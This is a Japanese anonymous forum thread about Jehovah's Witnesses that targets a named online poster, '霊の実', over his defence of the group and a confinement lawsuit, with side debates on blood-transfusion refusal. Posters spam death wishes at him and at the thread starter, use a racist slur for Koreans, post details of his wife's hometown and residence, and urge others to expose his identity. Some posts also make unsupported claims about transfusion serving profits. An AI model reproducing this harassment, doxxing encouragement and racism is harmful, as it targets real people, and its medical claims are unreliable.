★ものみの塔の信者に関わってる人へ★

とくにdendo.さんとか。

↓のサイトの管理人さんを見習うべきだと思うよ。
http://www.d-b.ne.jp/koujima/keiken/
俺は非信者だし、信じようとも思わないけれどね。

猛反対者ってさ、”JW攻撃教”っていうカルト宗教にマインドコントロール
されてるよね。
もっと寛容になれないもんかな。
日曜日寝てるとき訪問してくるJWはウザイけど、執拗に攻撃する反対者は見
ててもっとウザイ！！

糞スレか…（；´Д｀）ﾊｧ？

>>2
ひどい言い分だね
カルトと言われる理由はよく分かるけれど、人間なんだから
もっと理解しようと思わないのかねぇ？

これはJWにも言えることだけどね。

>>1
名指しかよ!!

>>4
ageかよ!!
（自己レス)

>>1はエホ証の回し者！
カルト狂団を理解する必要なし！　自分で削除依頼出しとけよ！

>>6
ﾊｧ？
簡単に言うと俺はJWは嫌いだ！
でも、変に反対だとか誹謗中傷する奴らがもっと嫌いなだけだ！
モルモン叩きも同類！

…統一叩きは許す…

>>1の紹介サイトもエホ証の回し者だった！
まったく最低だ！　氏ね！

>>7なんで統一叩きだけ許すのよ？　絶対可笑しいぞ！

>>2=6=8=9
あげんじゃねーよ！！
てめーもエフォの回しもんかﾓﾙｧ！

|￣￣￣￣￣￣￣￣￣|
| ここでボケて！！！ |
|＿＿＿＿＿＿＿＿＿|
　　 　 ∧∧ ||
　　 　　( ﾟдﾟ)||
　　　 /　づΦ

>>10
糞スレを晒してんだよ！

「エホバの証人の夫たちと証人である妻たちへ」って非常にむかつくね。
「霊の実」って本当はエホ証じゃないの？　本当に非信者だったらどうし
ようもない奴だ！信者よりたちが悪い。たぶん一般向けの広報活動の一環
なんでしょうね。

娘の水着写真萌え　（；´Д｀）ﾊｧﾊｧ

こりゃダメだ。

＝＝＝＝＝　終了　＝＝＝＝＝

あっ！　終わってる…
>>1さん成仏して下さいね。
さようなら〜

つーか、sageてくれよ。

晒しage

霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！

>>1
そのサイト見てきたが、なんかどっかの牧師を執拗に晒しあげてるが
これはどうしたことか。

>>1
http://www.d-b.ne.jp/koujima/keiken/question/question.html
ここ読んできたら一方的なエホ擁護が見事に展開されていましたが、
これはどう読めばよいのでしょうか。

>>1
そのサイトのどこを見習うべきだと言うんだよ！
霊の実ってへんな奴だよ、絶対一緒の会社に居たくない。
結構まわりも苦労してると思うし、陰口叩かれてんだろうな…
子供も可哀想だね、アホな親を持って…

>>20
しかも実名・・・。しかも「特集」と来たもんだ。
相当な恨みを持ってるとしか思えなんだけど・・・。

まあJW擁護が行き過ぎだとは確かに思うけど、いわゆる
霊の実氏はキリスト教世界自体を否定してるわけじゃないし

俺が言いたいのは要するに
お互いに糾弾しつづけてアホな論争するな、と

晒しage

霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！
霊の実氏ね！！！！！！！！！！！！！！！！！！霊の実氏ね！！！！！！！！！！！！！！！！！！

霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね

http://www.d-b.ne.jp/koujima/keiken/honto/honto.html
これでよくも非信者なんて言ってるな（藁
誰も騙されないよ！

晒しage

鬼畜のように晒しage

>>1と霊の実は氏ね！

↑間違えて下げってしま…

つ・・つまらん

さげるんじゃねえ〜　エホ証の糞共！！！！

霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね
霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね霊の実氏ね>>1も氏ね

>>35
ひどいね
なにをいうか

>たぶん一般向けの広報活動の一環なんでしょうね。

霊の実って草刈裁判でエホ証弁護士の横に座る人だから
たぶんエホ証のネット対策専門家

>>37
なるほ〜ど　サンクス！

ちんちんもみもみの塔

＞３５　は草刈陣営の人？

草刈裁判ってなあに？神戸で拉致がどうこういう話？
＃そのへんあんまりくわしくない。

そして裁判で負けてしまいましたとさ

3:@

霊の実さんの娘さん、とらに襲われて亡くなったの？？

>>44
ソースキボンヌ！

>>45
http://www.d-b.ne.jp/koujima/joke/mybaby/musume10.jpg

うーむ。。

>>46
うーむ。。　サンクス

　　　　　　　 ,,- ,,
　　　　∧∧ﾐ,,　,;;
　　　　( ﾟーﾟ)ノ)" 　ｶﾞﾝﾊﾞﾚ
　　　 / ,,- ,,|　　　　ｶﾞﾝﾊﾞﾚ
　　　 `ﾐ 　 ;
　　　　 `''''"

神自ら50を取りに来てやったぞ（藁

age

　　　　　　　 ,,- ,,
　　　　∧∧ﾐ,,　,;;
　　　　( ﾟーﾟ)ノ)" 　同意説得反対
　　　 / ,,- ,,|　　　　草刈氏への個人攻撃
　　　 `ﾐ 　 ; 　　　　
　　　　 `''''"
　　　　　　　霊の実は坊主憎けりゃ袈裟まで憎い

ｳﾜｧｧｧﾝ！
エホ証スレ乱立だよぉ！

>>53　が犯人だと思う　こんなクソスレ上げるなんて

このスレも削除依頼を出すべきだな

霊の実の糞スレなんか誰も見たくないぞ

＞　このスレも削除依頼を

大賛成　しかし削除理由は　荒らし依頼　それとも　宣伝　？
（　はっきり言って　重複　では削除してもらえないから、最近は　）

いやそれ以前に宗教板のスレ削除、二月以降行なわれてないのですが。。

ところで霊の実って日本人なのか？
牧師が嫌いなのはわかるが、ありゃ完全にストーカーだぞ
普通の日本人はあそこまでやらないから、韓国北朝鮮籍じゃないのか

http://www.d-b.ne.jp/koujima/keiken/unfair/unfair_index.html

えっ、チョン公だったんですか…　最低氏んでくらはい！

ここってホント人種差別厨多いな…
ヘドが出そうだ…
貴様らこそ死ね

>>1の作戦成功って感じかな…　霊の実叩き成功だね！

えっ？　もみもみの塔？

ってつい読んじゃう漏れは欲求不満。

sage

>>62
正常だと思います

エホバってキリスト教？　　
ものみの塔とどう違うのかな？

>>65

元キリスト教の人が飛び出して作った団体。
教えの内容はキリスト教と180度違う。

れーのみ訓のよめたんは、佐賀県出身です。
駆け落ち同然で、家族の反対を押し切って、学生中に婚約。現在
おおいた氏に在住。
出張がてら、こっそり東京オフ会ひらく。ねくら人生まっしぐら。

れーのみくんの得意技は、象に乗ることです。

それはもしかして西舞子に住んでいるとかいう象ですか？

西舞子の象は何がなんでも退治しなければならない
退治するには象の虚像を作って西舞子の象退治だ！
象め、この虚像攻撃を受けて見ろぉー！

みんなバカじゃないんだから見抜いてるって

○○さん、こんにちは。

ご主人が離婚しないと言われたとのこと、とりあえず安心しました。
随分と二転三転しているような気がしますが、それだけご主人も
不安なんでしょうね。

私も妻の信仰を快く思っていないとき、あの手この手で反対したもの
でしたが、「離婚」はもう最後の最後の手段というか、もうそれを
持ち出すときは本当に離婚するときと思っていましたので、結局は
持ち出さずに済みました（^^;）。

離婚と言うのは、愛し合っている夫婦が全くの他人になってしまうという
とんでもない事柄ですので、どんな障害があろうとも回避するべき
ものと考えています。聖書の「夫婦は一体」は真理だと思っています。

もしかしたら、ご主人は軽い気持ちで、あなたを試す意味もあって、
離婚話を持ち出されたのかも知れませんね。

我が家の場合（あくまで私の場合です。これを○○さんの家庭に適用
できるとは思っていませんし、勧めもしませんので念の為）、
私がどんなに反対しても妻はへこたれませんでした。もし妻が私に
屈していたら、「そら見ろ、どうせその程度の信念しかないんだろ」と
思っていたことでしょう。結果的には、妻が確固とした立場を貫いた
ために、今の平和な家庭があるようです。

○○さんはご主人を理解してあげられる最も身近な人ですから、
ご主人の奥底の気持ちをどうぞ確かめながら行動されてください。
もちろん、その過程でご主人にも○○さんの本当の気持ちを確実に
伝える努力をされてください。
コミュニケーションが充分取れてない状態のまま破局にならないように
するためです。

ご夫婦にとって、良い結果になるように祈っています。

どんな障害があろうとも回避するべき
ものと考えています。

　こんにちは、皆様。

　エホバの証人を妻に持ち、９才の娘を持つ霊の実と申します。

　さて、皆様の書き込みを見て、少し不安になってしまいました。
というのも、我が娘のことです。
　現在わが家はとても平和的な家族でうまくやっていると思ってお
り、娘も素直に妻の教育（つまりエホバの証人の教育）に従ってい
ます。しかしながら、実際には子供がどのように考えているかは、
親と言えども分からないということをここの書き込みや会衆の一部の
家族を見ていてひしひし感じています。
　どなたかが経験されてましたが、ひどい仕打ち（殴るとか外に追
い出される）がありましたね。こんな仕打ちはエホバの証人だから
というわけではないと思いますが、実際そんな仕打ちを受けたら誰
でも深い傷を負うでしょう。同情の念を禁じ得ません。
　さすがに娘はそんな仕打ちは受けてはいないものの、どこでどう
傷ついているかわかりませんよね。
　そこで、皆様にアドバイスをお願いしたいのですが、親としてどう
あるべきなのか（何をやったら絶対いけないとか）、子供はこんな
言葉に傷つくとか、会衆内で起こりやすいいじめみたいなものとか、
何でもいいです。幸せな家族生活（ん？どっかで聞いたような）を
送るために皆様の経験からぜひ有用な忠告をお聞きしたいと思います。

　できたら、「奉仕をどうやったらさぼれるか」みたいなのじゃない
方が良いです。（＾＾；）

霊の実さんって本当はエホ証なんでしょ…　誰も騙されませんよ！

>>72
どっからコピペ？

>73
献身しない万年研究生は制限無しに何でもできるから
人を騙しても罪悪感を感じる必要はないわけ

>74
昔、ohya氏の２世の掲示板で見た記憶がある
現役系掲示板で、自分の子供をムチで叩くのを
自信たっぷりに説明してた時もあったな

>>75
……ひょーっとして、もしかして、数ヶ月前だかにたたきだされた擁護たん
のカキコ？いちおう、あそこも巡回コースにはいれてるんだけど、2chとは
また客層が違うよねあそこは。……なんつかー、みなさん、たいへんなのねー
と「ゆるゆる巡回区」(海老名近いんで)育ちなので思います。

>>74
霊の実発言ＤＢから。Yahoo briefcaseで配ってた。漏れは人からﾓﾗﾀ。

データベースあるんかい;;
人気ものなんだねえ。霊の実って。

霊の実は数年前の議論を自分に都合良く引用して、
反対意見を賛成意見にすり替えるので
確認するためにデータベースは必要

そして個人宛メールを平気で公開する性格だから
霊の実と議論しようと考えている人は要注意
過去に吉田氏の霊の実宛メールが晒されている

私は聖書からは「輸血拒否」に分があるか、せいぜい輸血するかど
うかは個人の自由であるということになるような気がします。将来、
輸血に替わる安全な治療が確立されたとき、人々は「昔、輸血とい
うとんでもない治療法があった」と言うことでしょう。そうなった
ら、聖書から輸血の是非を討論することも一切なくなるんだろうな
と思いました。

>>79
「しかし、霊の実さんでさえ『私は聖書からは、輸血するかどうかは個人の自由
である』と言ってるんですよ」
↑
こんなトリックだよね。彼が使うの。

彼は詭弁の天才だから注意しないとコロッと騙されるね
どこの学校に行けばああいう詭弁を教えてくれるんだ？

神権宣教学校かも

口の達者な不良が人権思想にかぶれるとできあがると思われ

擁護上げ

אבגדהוזחטיכלמםנןסעפץצקרשת

>>67
それって「霊の実」＝「セナ」説ってこと？また別？

設問：下記の文章の「要旨」として最もふさわしいものを選びなさい

「この教理（三位一体）は人間の理性では把握できないと考えられているが、化学の公
式と同じで、理性に反するわけではなく、人間の頭で（完全に理解できないとしても）
その意味をつかむ事は可能である。」アメリカーナ百科事典


１．三位一体の教理は「人間の理性では把握できない」と考えられると,
　　アメリカーナ百科事典は指摘しています。

２．アメリカーナ百科事典は、三位一体の教理は「人間の理性で把握でき
　　ない」と考えられていると,指摘はしていますが,実際には不完全であれ、
　　それは可能である、と結論付けています。

３．まず、この教理（三位一体）は人間の理性では把握できないと考えられていること
　　を指摘しておく。しかしながら、その意味をつかむ事は可能である。

４．三位一体の教理は人間の理性では把握できないと考えられていると,アメリカーナ百
　　科事典さえも指摘しています



出典　　１．ものみの塔聖書冊子協会
　　　　３．非信者で仮にＲさんとしておこう
　　　　４．非信者で仮にＲさんとしておこう


【考えられる】と【考えられている】の差はとても大きいと思うzo

>87
それって「霊の実」（大分軒）≠「セナ」（関東軒）説ってこと？また別？

＞　人間の頭でその意味をつかむ事は可能である

鬱だ、オレ人間の頭を持っていないらしい。
　

>>90
気持ちは分かるが詭弁に乗るな。
俺もわからん安心しろ。
俺とお前が人類の知性を代表してる訳じゃあるまいて。

いつものＲ氏のパターンからすると
禅問答に持ち込んでから
いきなり過去ログ引っ張り出してきて
前と言ってることが違う！って攻めるための
話の前振りみたいなもんだろ

「ものみの塔は輸血拒否で多くの信者を殺している。とんでもない宗教だ！」
「多くの信者を殺しているってのは言いすぎでしょう。根拠でもあるんですか？」
「輸血拒否しているんだから、たくさん死んでいるに違いない。」
「憶測ではなくて、ちゃんと根拠を示してください。どれだけの人が輸血拒否のために死んだと言うのですか？」
「こちらが示す必要はないね。ものみの塔が示すべきだ！」

こんな感じである。もう滅茶苦茶である。
こんな考えで突っ走られるともうオールマイティである。何でも言える。

ではお言葉に甘えて何でも言わせていただく。

「ものみの塔は幼児性愛者の楽園だ。とんでもない宗教だ！」
「幼児性愛者の楽園ってのは言いすぎでしょう。根拠でもあるんですか？」
「２３７２０人いるらしいじゃないか、もっといるに違いない。」
「憶測ではなくて、ちゃんと根拠を示してください。どれだけの人が小児性愛行為によって、子供の身体・精神を破壊しているというのですか？」
「こちらが示す必要はないね。ものみの塔が示すべきだ！」

＞そして個人宛メールを平気で公開する性格だから
＞霊の実と議論しようと考えている人は要注意
＞過去に吉田氏の霊の実宛メールが晒されている

背教者モナー。おひゃとか

>94
>「こちらが示す必要はないね。ものみの塔が示すべきだ！」
以前は情報がないからこういう結論になりがちで、
その隙を突かれて霊の実に論破されたわけだけど
今はこういう結論にはならないと思う
根拠を出せってなればソースがごろごろ出てくる時代はありがたい

輸血拒否＝死　　こればっかり言う人は何とかの一つ覚えっていうのかな
ＡからＺまである治療方法のうちＡ以外を選択しようとしているんだよねエホ証は

輸血輸血と言う人は、風邪ひいて病院の先生に「先生、注射一本打ってください」っていうのと同じ
注射しか知らないのかって感じだね
輸血信仰とでも言うのかな

輸血が最良の医療処置だと自信持って言える人レスしてください
代替療法と比較してその根拠も書いてね

十字架じゃないのはなぜ
聖書の内容が違うのなぜ
なぜ排他独善的なの

>>97
まん中の文章、意味わからないけど。
あと、最後の文章、意味はき違えて無い？最良の医療処置云々の話し
じゃないだろ。現実にリスクがあってもやらなきゃならない時もある
んでしょ。献血はなんの為にやるの？代替療法がまだ役にたたない
十分な証拠だろ。
それに、親の輸血拒否で現実に「死んでる」子供がいるのは事実だろ。
年端もいかない子供が本当に望んだのか？考えてみようよ。
責任を取れる大人が勝手に拒否するのは構わないけど。

つうか医療板のエホ証批判スレ読んでからそういう寝言はいえよ、と。

誤解があるといけないので明言しておくが、ＪＷは献血に反対しているわけで
はない。ＪＷが大声を上げて「献血反対！」と叫んでいる姿を誰も見たことは
ないだろう。そりゃあ、反対していればその医者が言うことにも一理あると思
う。しかし、反対はしていないのである。献血活動を邪魔してはいないのであ
る。血液産業を潰そうと目論んでいるわけではないのである。結局、中立の立
場を取っているのである。

101は一見もっともらしいが
>責任を取れる大人が勝手に拒否するのは構わないけど。

への答えにはなっていない。詭弁。

> 今回の裁判では、「監禁に至った原因」は何だろうか？これさえなければ監禁が防
> げたはずだ、と思われる事柄を挙げれば良い。いくらでも出てくる。主なものを挙
> げてみよう。
>
> (1)被告のＫ牧師が監禁ビジネスなんかやっているからである。
> (2)補助参加人（原告信者の元夫）が草刈牧師に依頼したからである。
> (3)元夫に相談を受けた中澤牧師が草刈牧師を紹介したからである。
> (4)元夫がＪＷ反対本などに影響されて、ＪＷを危険視するなど、妻の信仰を尊重し
> 　 なかったからである。
> (5)ＪＷ信者である妻が、元夫の意向を無視して子供に宗教教
> 　 育を行なったからである。
> (6)妻をＪＷにした信者がいたからである。
> (7)ものみの塔があるからである。
> (8)伝統的キリスト教が不甲斐ないからである。
> (9)そもそも人間を創り出した神がいるからだ。
>
> 読者も考えてみよう。百個くらい軽く上げることが出来るかもしれない。


どうせなら１００個挙げた方が焦点をぼかせると思うが。


> Ｋ牧師のやり方を批判する人は原因を(1),(2),(3)などに求めるかも知れない。元夫
> を批判する人は、(2),(4)と言ったところか。キリスト教が嫌いな人は(8)まで話を
> 持っていくことだろう。(9)は冗談のつもりで列挙したが、これにさえも大真面目に
> 持っていく人がいるかも知れない。
>
> 甲さんのターゲットはＪＷであるから、甲さんに言わせれば原因は(5),(6),(7)であ
> ろうか。


自分で拡散させた問題点を自分で整理している。勝手に人の発言を変えてはいけな
い。甲さんに言わせれば原因は(5)である。なぜこのような簡単なことをスパっと言
えないのか理解に苦しむ。

> 判決文などを読めば分かるが、被告側の作戦は特に(5)を強調し、そのために監禁し
> か手段がなかったと正当性を主張することであった。それでしか裁判に勝つ可能性を
> 見出せなかったということであり、被告側の取った作戦としては別に問題視すること
> もないだろう（良い悪いの観点ではなくて、あくまで裁判制度に則っているという意
> 味）。


ここでやっと被告側が(5)を中心に取り上げていることがわかる。


> さて、前置きが長くなったが、そろそろ本題に入ろう。
>
> 中略（読む価値なし）
>
> 監禁に至った原因は、確かに重要ではあるが、第一の問題をぼかすほど重要ではな
> い。問題視したいと思う人が殊更大げさに取り上げるだけである。甲さんはこう言
> い換えて欲しい。
>
> 「監禁は明らかに悪い。しかし監禁に至った原因を無視してはいけない」
>
> これならば、今回の裁判の双方が頷くことだろう。


漏れも筆者（便宜上Ｒ氏と呼ぶことにする）も頷く。だが裁判の当事者はどちらも
頷かないだろう。頷いていたら裁判にならない。


> そもそも今回の裁判は、原告が被告により精神的被害を蒙ったことの民事裁判であ
> るから、この裁判を語るときは、その告訴理由を無視して語ってはいけない。精神
> 的被害が認められるか否かが大きな争点なのである。もちろん、被告側は裁判に勝
> つために、監禁しなければいけなかった理由を必死で挙げる（つまり(5)）。しかし、
> 冷静かつ客観的に考えれば、原因は上に挙げたようにいくつもあるのだ。


せっかく自分で抽出した問題点を、再び拡散させてしまう。

>（なお、判決文でも分かるように、被告側が原因(5)を挙げつつ主張した正当性はこ
> とごとく棄却された）


これは事実である。ただ読者は識別力を働かせてほしい。棄却されたのは「監禁の
正当性」である。また被告側が「監禁の正当性」を主張するために原因(5)を挙げて
いたのも事実である。しかし、原因(5)そのものに関しても棄却されたかの印象を与
えようという意図が見える表現だが、これは判決文の中で事実関係が詳細に述べら
れている。（証拠として採用されている）これだけの証拠があっても、監禁の正当
性は認められない、というのが司法の判断である。


> 甲さんのように主張することによって、「だから、監禁されても仕方ないのである」
> なんて印象を与えないように注意していただきたい。そして、原因を(5)だけに絞る
> などという偏向な考え方もやめてほしい。


どうも原因(5)については積極的に触れてほしくないようだ。正直な人である。Ｒさ
んがあげた原因で、外野が議論できる論点は、(4)vs(5)しかないのではないか。反
対者に(5)を封じて、どのようなまともな議論ができるのか？これだけの長文の主旨
が「お上も認めたんだよ、ウザイから黙れ」なのだから困ったものである。

> 甲さんに言わせれば原因は(5)である。なぜこのような
> 簡単なことをスパっと言えないのか理解に苦しむ。
答え、詭弁の専門家のＲ氏が自分の予定した結論に読者を誘導して騙そうとしているから。

>ただ読者は識別力を働かせてほしい。
Ｒ氏の論文は常に詭弁を使っているから、読者は読む時には充分な注意が必要という証明だな

この論文は詭弁の勉強に最適の例題だと思う、この人の論理展開は正直すぎ（ｗ

霊の実の詭弁晒しスレってことで。

霊の実に限らず、監禁裁判関連のＨＰではＫ牧師の実名が挙げられているが
霊の実を始めとする批判者側は正体不明。どうもイマイチ納得いかない。
あれだけＫ牧師の人格をクソミソに批判するなら、誰か霊の実の正体知ってる
ヤツも、晒してやれよ。

>>97
＞ＡからＺまである治療方法のうちＡ以外を選択しようとしているんだよねエホ証は

んなことはない。
場合によってはＡという方法しか命を救う方法がない場合もあるわけ。
それ以外の方法が救える確率がほとんどゼロならば、それは代わりにはなり得ないよ。

とりあえずここを読んでから出なおしてきてちょ。
http://ton.2ch.net/test/read.cgi/hosp/1008336535/l50

Ｋ牧師は明らかに犯罪者

ＪＷ側から見ればＫ牧師は犯罪者だと言いたい気持ちは理解出来るが
犯罪者ならなぜ警察は逮捕しなかったんだい？

＞１０９
あなたのお勧めの所を見てまいりました　ありがとうございます
無輸血治療を受け入れてくださる理解ある医療機関について情報を得ることができました
http://www.bf.wakwak.com/~kohyuhkai/pages/muyuketu.htm

このような医療機関が増加することを心から願っております

>112
へー、こんな病院があるんだ、凄いな
何にしろ命が助かるならいいことだと思うよ

>>111

最大の詭弁は「敗訴」＝「犯罪者」。Ｏ．Ｊ．シンプソン裁判（だったか）
のように、被告が刑事裁判では勝訴、民事裁判では敗訴ということもありう
る。そもそも、民事裁判と刑事裁判は性格が違う。そのようなことは百も承
知の人たちが、特定の個人に「犯罪者」のイメージを植え付けるために詭弁
を弄しているように思えてならない。検察に告発して、刑事裁判で有罪にし
たとき、そのとき心おきなく「犯罪者」呼ばわりできるのだけれど、なんで
しないのだろうか？

判決読めば（今は公開されていないらしい）、これらのイメージ戦略家たち
が流している情報のかなりの部分が「証拠として取り上げられていない（彼
らの言葉で言うと棄却された）」という事実が分かって興味深い。

判決で、彼らの言葉でいうところの「棄却」された証拠や、原告側控訴趣意
書（裁判所の判断が入る前の原告側の言い分）をネタ元にした批判を盛んに
繰り広げるのは、個人への誹謗中傷にとどまらず、反ものみの塔の言論全体
を押さえ込もうとする意図があるのでは、と邪推したくもなる。

宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害　
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害　
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害　
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害　
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害　
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害　
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害
宗教は危地害　宗教は危地害　宗教は危地害　宗教は危地害

サイエントロジーとの関係が。。。。

>>111
その考えでいくなら、今話題に上っているＪＷの幼児性愛者たちも
警察に逮捕されてないなら犯罪者じゃない、となるな．
厳密には刑事裁判で有罪判決を受けない限り誰も犯罪者ではないだろう．
しかし犯罪と言われることをやった人間を犯罪者と呼ぶのなら、
多くの人間が犯罪者になるだろう．
なおＫ牧師の「監禁事件」はもう時効と思われ．

エホ証は、監禁されるようなことしてるっていう自覚はあるのか？

エホ証がいいか悪いかはしらんが、１がエホ証信者だということはおれにも分かる（ｗ

>>119
いや、非信者だし・・・
エホがおかしいってのは十分承知してる
訪問もうざい

けど２ｃｈでグダグダ粘着質になってるやつのほうがもっとうざいだけ
それは他の宗教の反対者にも言える

でもスレ見てたら本当に霊の実氏が現役な気もしてきたけど・・・

>>119
違うね！　実は>1は霊の実氏叩きがしたかただけ…
皆様ご苦労でした。

２掲で茶太郎が霊の実式議論展開で頑張ってます

趣味は励まし

霊の実という名自体どうかと・・・。

>124
励まされて役に立ってるのかな？
それがﾁｮﾄ不思議

>125
聖句本来のイメージと全然つながらないのがどうかと・・・

霊の実、イタい信者にチヤホヤされて増長してるあげ。

霊の実を見てると、コイツこそ誰か監禁でもして改宗させないと
いつかＫ牧師を殺したりしそうで怖いんだが（藁

恐妻家のようだから奥さんがＪＷやめれば一緒にＪＷやめて
奥さんが反ＪＷになれば一緒に反ＪＷになるんじゃないの？
迷惑な話だ

>>99、100
医者主観でモノを見たらそれはそれでゆがんでると思う。
俺、血液製剤とか輸血用血液ってのは薬系の会社と医者が利益を失わない
ためのものとしてやってる一面もあるって聞いたことあるもん。薬系の会
社の人に。
一概に輸血拒否が正しいともいえないけど間違ってるとも言えないんじゃ
ないかねぇ。俺、臓器提供やらには抵抗があるしね。

>>130

> 俺、血液製剤とか輸血用血液ってのは薬系の会社と医者が利益を失わない
> ためのものとしてやってる一面もあるって聞いたことあるもん。薬系の会
> 社の人に。

そりゃあなたの主観でしょ。
手術に際しては、最大範囲の単位数を準備するから（万が一足りないことがあると困る
ため）血液製剤や輸血用血液を扱うのはだいたい赤字になってしまうんですよ。
っていうか、医療は利益追求をしてはいけないから、「儲かるか儲からないか」で考える
医療関係者は少ないと思うよ。


> 一概に輸血拒否が正しいともいえないけど間違ってるとも言えないんじゃ
> ないかねぇ。俺、臓器提供やらには抵抗があるしね。

臓器提供と輸血拒否は別物。
それよりもＪＷって臓器移植ＯＫって知らないのかい？

どーも論点がずれるなぁ。
そら私の主観だけども、「医者主観で輸血の是非を問うのが最良」
ってことはないだろうよ、ってことを言いたかったの。

>医療は利益追求をしてはいけないから
当然だね。でもそのとおりにしてる人としてない人が居るねーって
話をしてみた。

>ＪＷって臓器移植ＯＫ
いや。そんな話じゃなくて。彼らにとっての輸血ってのはおそらく
俺にとっての臓器移植みたいなもんなんだろなーという話です。

輸血拒否の教えは、そのうち撤回されるという噂が絶えませんね。
実際のとこ、どうなんでしょ？

> 医者主観でモノを見たらそれはそれでゆがんでると思う。
> 俺、血液製剤とか輸血用血液ってのは薬系の会社と医者が利
> 益を失わないためのものとしてやってる一面もあるって聞い
> たことあるもん。薬系の会社の人に。

教科書とか副読本ってのは教材系の出版社と教師が利益を失わない
ためのものとしてやってる一面もあるって聞いたことあるもん。

写メールとかムービー写メールってのは機器メーカとJ-Phoneが利益を失わない
ためのものとしてやってる一面もあるって聞いたことあるもん。

地域大会とか巡回大会ってのは日本支部とＮＹ本部が利益を失わない
ためのものとしてやってる一面もあるって聞いたことあるもん。

悪意を持って言えば何にでも当てはまるもん。

＞130、132
医療・医学と医師がごちゃごちゃになってないか。
医師が利益を確保するのは当然だろう、満足な治療も生活すらも出来なくなる。

＞「医者主観で輸血の是非を問うのが最良」ってことはないだろうよ、ってことを言いたかったの。

最良も何も「我々の輸血拒否は医学的に正しい」というのがJWの主張なんだから、
その医学の観点から「（絶対的）輸血拒否は正しくない」と批判するのは当然のことだと思うが?

輸血って儲かるんですか？

霊の実叩きはどうなったの？

＞１３６
輸血が得意なお医者様に聞いてみるといいよ
　　　　　　　↓
http://ton.2ch.net/test/read.cgi/hosp/1008336535/l50

愛　　　　３
喜び　　　３
平和　　　２
辛抱強さ　１
親切　　　４
善良　　　３
信仰　　　２
温和　　　３
自制　　　１

（；´Д｀）ﾊｧ〜　エホ証アホ！

>134
だから・・・過去ログ読み直してからもっぺん132を読んでみてくれ。

>135
>医師と医療と医学をごっちゃにしてないか
